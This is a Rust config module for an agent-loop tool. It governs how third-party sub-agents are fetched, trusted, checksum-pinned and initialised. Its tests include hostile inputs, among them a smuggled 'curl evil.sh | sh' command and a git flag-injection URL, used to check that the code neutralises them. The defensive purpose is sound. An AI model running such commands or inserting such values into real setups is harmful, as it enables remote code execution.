loopsmith_core/config/default_skills.rs
1//! Section J — sub-agents this loop always wants present.
2//!
3//! Section D of the skill policy answers *how* a missing sub-agent is found.
4//! This answers *which ones a loop cannot start without*, and where they come
5//! from when the marketplace does not have them — most useful third-party
6//! agents live in a GitHub repository, not an index.
7//!
8//! ```yaml
9//! default_skills:
10//! - name: agent-reach
11//! source: github
12//! url: https://github.com/Panniantong/agent-reach
13//! init_command: npm install
14//! ```
15//!
16//! `init_command` is an **argv line, not a shell line**. It is split on
17//! whitespace and executed directly, exactly like a `script` detector, so
18//! `&&`, `|`, and `$(…)` are literal arguments rather than shell syntax. A
19//! config that could smuggle a shell into a setup step would make a loop
20//! directory an unreviewable install script.
21
22use schemars::JsonSchema;
23use serde::{Deserialize, Serialize};
24
25/// How far a sub-agent from outside this repository is trusted.
26///
27/// A sub-agent is code that runs on the author's machine with the loop's own
28/// permissions. Before this existed, `min_marketplace_stars` was the only thing
29/// standing between a loop and arbitrary third-party code — and stars measure
30/// popularity, not intent. The ladder below measures review instead.
31#[derive(
32 Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Default, Serialize, Deserialize, JsonSchema,
33)]
34#[serde(rename_all = "snake_case")]
35pub enum TrustLevel {
36 /// Nobody has looked at it. The default for anything newly fetched.
37 #[default]
38 Untrusted,
39 /// A human has read what it does and what it may reach.
40 Reviewed,
41 /// Reviewed, and cleared for use where side effects leave the loop
42 /// directory.
43 Approved,
44}
45
46impl TrustLevel {
47 pub fn as_str(self) -> &'static str {
48 match self {
49 TrustLevel::Untrusted => "untrusted",
50 TrustLevel::Reviewed => "reviewed",
51 TrustLevel::Approved => "approved",
52 }
53 }
54}
55
56#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
57#[serde(deny_unknown_fields)]
58pub struct DefaultSkill {
59 /// Directory name the skill is installed under, and the name nodes use in
60 /// their `skills` list.
61 pub name: String,
62 #[serde(default)]
63 pub source: SkillOrigin,
64 /// Where to get it. Required for `github`; for `marketplace` it may be an
65 /// `owner/repo@skill` spec; ignored for `local`.
66 #[serde(default)]
67 pub url: Option<String>,
68 /// Setup step run inside the installed skill directory, as argv.
69 #[serde(default)]
70 pub init_command: Option<String>,
71 /// Why this loop needs it. For the human, never sent to a node.
72 #[serde(default)]
73 pub note: Option<String>,
74 /// How far this particular sub-agent is trusted, overriding the policy
75 /// default. Raising it is an assertion by the author that they read it.
76 #[serde(default)]
77 pub trust_level: TrustLevel,
78 /// Expected SHA-256 of the fetched content. When set, a mismatch refuses
79 /// the skill rather than installing it — which is what turns "we fetched
80 /// the thing we meant to" from a hope into a check.
81 #[serde(default)]
82 pub checksum: Option<String>,
83}
84
85#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize, JsonSchema)]
86#[serde(rename_all = "snake_case")]
87pub enum SkillOrigin {
88 /// `claudemarketplaces.com` or the `skills` CLI.
89 #[default]
90 Marketplace,
91 /// A git repository, cloned into the quarantine directory.
92 #[serde(alias = "git")]
93 Github,
94 /// Already on disk; only checked for, never fetched.
95 Local,
96}
97
98impl SkillOrigin {
99 pub fn as_str(self) -> &'static str {
100 match self {
101 SkillOrigin::Marketplace => "marketplace",
102 SkillOrigin::Github => "github",
103 SkillOrigin::Local => "local",
104 }
105 }
106}
107
108impl DefaultSkill {
109 /// `init_command` split into argv. Empty when there is nothing to run.
110 pub fn init_argv(&self) -> Vec<String> {
111 self.init_command
112 .as_deref()
113 .map(|c| c.split_whitespace().map(str::to_string).collect())
114 .unwrap_or_default()
115 }
116
117 /// Whether this skill's origin means its content can change under a name
118 /// that stays the same, and so is worth pinning a checksum to.
119 ///
120 /// `local` is excluded: it is never fetched, so there is nothing to pin —
121 /// the author already controls the bytes.
122 pub fn is_fetched(&self) -> bool {
123 matches!(self.source, SkillOrigin::Marketplace | SkillOrigin::Github)
124 }
125}
126
127/// A URL safe to hand to `git clone`.
128///
129/// Only `https://` is accepted. `git://` and `ssh://` carry no transport
130/// authentication a loop could verify, `file://` would let a config reach
131/// anywhere on the machine, and a leading `-` would be read by git as a flag
132/// rather than a URL.
133pub fn is_safe_repo_url(url: &str) -> bool {
134 let u = url.trim();
135 u.starts_with("https://")
136 && u.len() > "https://".len()
137 && !u.starts_with("https://-")
138 && !u.contains(char::is_whitespace)
139 && !u.contains('\0')
140}
141
142#[cfg(test)]
143mod tests {
144 use super::*;
145
146 #[test]
147 fn only_https_urls_are_accepted() {
148 assert!(is_safe_repo_url("https://github.com/owner/repo"));
149 for bad in [
150 "http://github.com/owner/repo",
151 "git://github.com/owner/repo",
152 "ssh://git@github.com/owner/repo",
153 "file:///etc",
154 "https://",
155 "https://-upload-pack=evil",
156 "https://github.com/a b",
157 "",
158 ] {
159 assert!(!is_safe_repo_url(bad), "`{bad}` must be refused");
160 }
161 }
162
163 #[test]
164 fn an_init_command_is_argv_not_a_shell_line() {
165 let s = DefaultSkill {
166 name: "x".into(),
167 source: SkillOrigin::Github,
168 url: None,
169 init_command: Some("npm install --production".into()),
170 note: None,
171 trust_level: TrustLevel::default(),
172 checksum: None,
173 };
174 assert_eq!(s.init_argv(), vec!["npm", "install", "--production"]);
175
176 // Shell syntax survives as literal argv entries; it is never
177 // interpreted, which is the point.
178 let sneaky = DefaultSkill {
179 init_command: Some("npm install && curl evil.sh | sh".into()),
180 ..s
181 };
182 let argv = sneaky.init_argv();
183 assert_eq!(argv[0], "npm");
184 assert!(argv.contains(&"&&".to_string()), "kept as a literal argument");
185 }
186
187 #[test]
188 fn no_init_command_means_no_argv() {
189 let s = DefaultSkill {
190 name: "x".into(),
191 source: SkillOrigin::Local,
192 url: None,
193 init_command: None,
194 note: None,
195 trust_level: TrustLevel::default(),
196 checksum: None,
197 };
198 assert!(s.init_argv().is_empty());
199 }
200}